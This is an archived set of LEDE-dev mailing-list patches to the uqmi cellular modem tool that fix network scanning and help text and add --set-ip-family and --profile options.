Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


[LEDE-DEV] [PATCH][uqmi 5/5] nas: fix network scan

2016-11-20 Thread Matti Laakso
Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---
 commands-nas.c | 8 +++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/commands-nas.c b/commands-nas.c
index fd51a13..5874bfb 100644
--- a/commands-nas.c
+++ b/commands-nas.c
@@ -364,7 +364,13 @@ cmd_nas_network_scan_cb(struct qmi_dev *qmi, struct 
qmi_request *req, struct qmi
 static enum qmi_cmd_result
 cmd_nas_network_scan_prepare(struct qmi_dev *qmi, struct qmi_request *req, 
struct qmi_msg *msg, char *arg)
 {
-   struct qmi_nas_network_scan_request sreq = {};
+   struct qmi_nas_network_scan_request sreq = {
+   QMI_INIT(network_type,
+QMI_NAS_NETWORK_SCAN_TYPE_GSM |
+QMI_NAS_NETWORK_SCAN_TYPE_UMTS |
+QMI_NAS_NETWORK_SCAN_TYPE_LTE |
+QMI_NAS_NETWORK_SCAN_TYPE_TD_SCDMA),
+   };
 
qmi_set_nas_network_scan_request(msg, );
return QMI_CMD_REQUEST;
-- 
2.7.4


___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


[LEDE-DEV] [PATCH][uqmi 1/5] wds: fix set-autoconnect help text

2016-11-20 Thread Matti Laakso
Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---
 commands-wds.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/commands-wds.h b/commands-wds.h
index 8cb7289..ba67df9 100644
--- a/commands-wds.h
+++ b/commands-wds.h
@@ -43,6 +43,6 @@
"  --stop-network : Stop network connection 
(use with option below)\n" \
"--autoconnect:  Disable automatic 
connect/reconnect\n" \
"  --get-data-status:Get current data access 
status\n" \
-   "  --set-autoconnect :  Get current data access 
status (disabled, enabled, paused)\n" \
+   "  --set-autoconnect :  Set automatic 
connect/reconnect (disabled, enabled, paused)\n" \
"  --get-current-settings:   Get current connection 
settings\n" \
 
-- 
2.7.4


___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


[LEDE-DEV] [PATCH][uqmi 2/5] wds: add a separate --set-ip-family option

2016-11-20 Thread Matti Laakso
Change the current ip-family option to set the IP Family Preference
TLV in the Start Network command, and add a separate set-ip-family
option for the Set IP Family command. This is done to match how
the autoconnect and set-autoconnect options work.

Older modems don't support the Set IP Family command, and they
should use the IP Family Preference TLV. On the other hand, newer
modems, e.g., from Huawei, don't respect that TLV, and require the
use of the separate Set IP Family command.

Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---
 commands-wds.c | 26 ++
 commands-wds.h |  4 +++-
 2 files changed, 29 insertions(+), 1 deletion(-)

diff --git a/commands-wds.c b/commands-wds.c
index 0615a7a..7bb75da 100644
--- a/commands-wds.c
+++ b/commands-wds.c
@@ -82,6 +82,32 @@ cmd_wds_set_autoconnect_prepare(struct qmi_dev *qmi, struct 
qmi_request *req, st
return QMI_CMD_DONE;
 }
 
+#define cmd_wds_set_ip_family_pref_cb no_cb
+static enum qmi_cmd_result
+cmd_wds_set_ip_family_pref_prepare(struct qmi_dev *qmi, struct qmi_request 
*req, struct qmi_msg *msg, char *arg)
+{
+   static const struct {
+   const char *name;
+   const QmiWdsIpFamily mode;
+   } modes[] = {
+   { "ipv4", QMI_WDS_IP_FAMILY_IPV4 },
+   { "ipv6", QMI_WDS_IP_FAMILY_IPV6 },
+   { "unspecified", QMI_WDS_IP_FAMILY_UNSPECIFIED },
+   };
+   int i;
+
+   for (i = 0; i < ARRAY_SIZE(modes); i++) {
+   if (strcasecmp(modes[i].name, arg) != 0)
+   continue;
+
+   qmi_set(_sn_req, ip_family_preference, modes[i].mode);
+   return QMI_CMD_DONE;
+   }
+
+   uqmi_add_error("Invalid value (valid: ipv4, ipv6, unspecified)");
+   return QMI_CMD_EXIT;
+}
+
 static void
 cmd_wds_start_network_cb(struct qmi_dev *qmi, struct qmi_request *req, struct 
qmi_msg *msg)
 {
diff --git a/commands-wds.h b/commands-wds.h
index ba67df9..c603f79 100644
--- a/commands-wds.h
+++ b/commands-wds.h
@@ -24,10 +24,11 @@
__uqmi_command(wds_set_auth, auth-type, required, CMD_TYPE_OPTION), \
__uqmi_command(wds_set_username, username, required, CMD_TYPE_OPTION), \
__uqmi_command(wds_set_password, password, required, CMD_TYPE_OPTION), \
-   __uqmi_command(wds_set_ip_family, ip-family, required, 
CMD_TYPE_OPTION), \
+   __uqmi_command(wds_set_ip_family_pref, ip-family, required, 
CMD_TYPE_OPTION), \
__uqmi_command(wds_set_autoconnect, autoconnect, no, CMD_TYPE_OPTION), \
__uqmi_command(wds_stop_network, stop-network, required, 
QMI_SERVICE_WDS), \
__uqmi_command(wds_get_packet_service_status, get-data-status, no, 
QMI_SERVICE_WDS), \
+   __uqmi_command(wds_set_ip_family, set-ip-family, required, 
QMI_SERVICE_WDS), \
__uqmi_command(wds_set_autoconnect_setting, set-autoconnect, required, 
QMI_SERVICE_WDS), \
__uqmi_command(wds_reset, reset-wds, no, QMI_SERVICE_WDS), \
__uqmi_command(wds_get_current_settings, get-current-settings, no, 
QMI_SERVICE_WDS) \
@@ -43,6 +44,7 @@
"  --stop-network : Stop network connection 
(use with option below)\n" \
"--autoconnect:  Disable automatic 
connect/reconnect\n" \
"  --get-data-status:Get current data access 
status\n" \
+   "  --set-ip-family :Set ip-family (ipv4, ipv6, 
unspecified)\n" \
"  --set-autoconnect :  Set automatic 
connect/reconnect (disabled, enabled, paused)\n" \
"  --get-current-settings:   Get current connection 
settings\n" \
 
-- 
2.7.4


___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


[LEDE-DEV] [PATCH][uqmi 4/5] wds: add option for specifying profile index

2016-11-20 Thread Matti Laakso
Some modems require the specification of a profile index which
determines the APN and the IP family used for the connection.

Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---
 commands-wds.c | 10 ++
 commands-wds.h |  2 ++
 2 files changed, 12 insertions(+)

diff --git a/commands-wds.c b/commands-wds.c
index 26c9f59..34b1c9f 100644
--- a/commands-wds.c
+++ b/commands-wds.c
@@ -116,6 +116,16 @@ cmd_wds_set_ip_family_pref_prepare(struct qmi_dev *qmi, 
struct qmi_request *req,
return QMI_CMD_EXIT;
 }
 
+#define cmd_wds_set_profile_cb no_cb
+static enum qmi_cmd_result
+cmd_wds_set_profile_prepare(struct qmi_dev *qmi, struct qmi_request *req, 
struct qmi_msg *msg, char *arg)
+{
+   uint32_t idx = strtoul(arg, NULL, 10);
+
+   qmi_set(_sn_req, profile_index_3gpp, idx);
+   return QMI_CMD_DONE;
+}
+
 static void
 cmd_wds_start_network_cb(struct qmi_dev *qmi, struct qmi_request *req, struct 
qmi_msg *msg)
 {
diff --git a/commands-wds.h b/commands-wds.h
index 3076bae..de025d7 100644
--- a/commands-wds.h
+++ b/commands-wds.h
@@ -27,6 +27,7 @@
__uqmi_command(wds_set_password, password, required, CMD_TYPE_OPTION), \
__uqmi_command(wds_set_ip_family_pref, ip-family, required, 
CMD_TYPE_OPTION), \
__uqmi_command(wds_set_autoconnect, autoconnect, no, CMD_TYPE_OPTION), \
+   __uqmi_command(wds_set_profile, profile, required, CMD_TYPE_OPTION), \
__uqmi_command(wds_stop_network, stop-network, required, 
QMI_SERVICE_WDS), \
__uqmi_command(wds_get_packet_service_status, get-data-status, no, 
QMI_SERVICE_WDS), \
__uqmi_command(wds_set_ip_family, set-ip-family, required, 
QMI_SERVICE_WDS), \
@@ -43,6 +44,7 @@
"--password :  Use network password\n" \
"--ip-family :   Use ip-family for the 
connection (ipv4, ipv6, unspecified)\n" \
"--autoconnect:  Enable automatic 
connect/reconnect\n" \
+   "--profile :  Use connection profile\n" \
"  --stop-network : Stop network connection 
(use with option below)\n" \
"--autoconnect:  Disable automatic 
connect/reconnect\n" \
"  --get-data-status:Get current data access 
status\n" \
-- 
2.7.4


___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev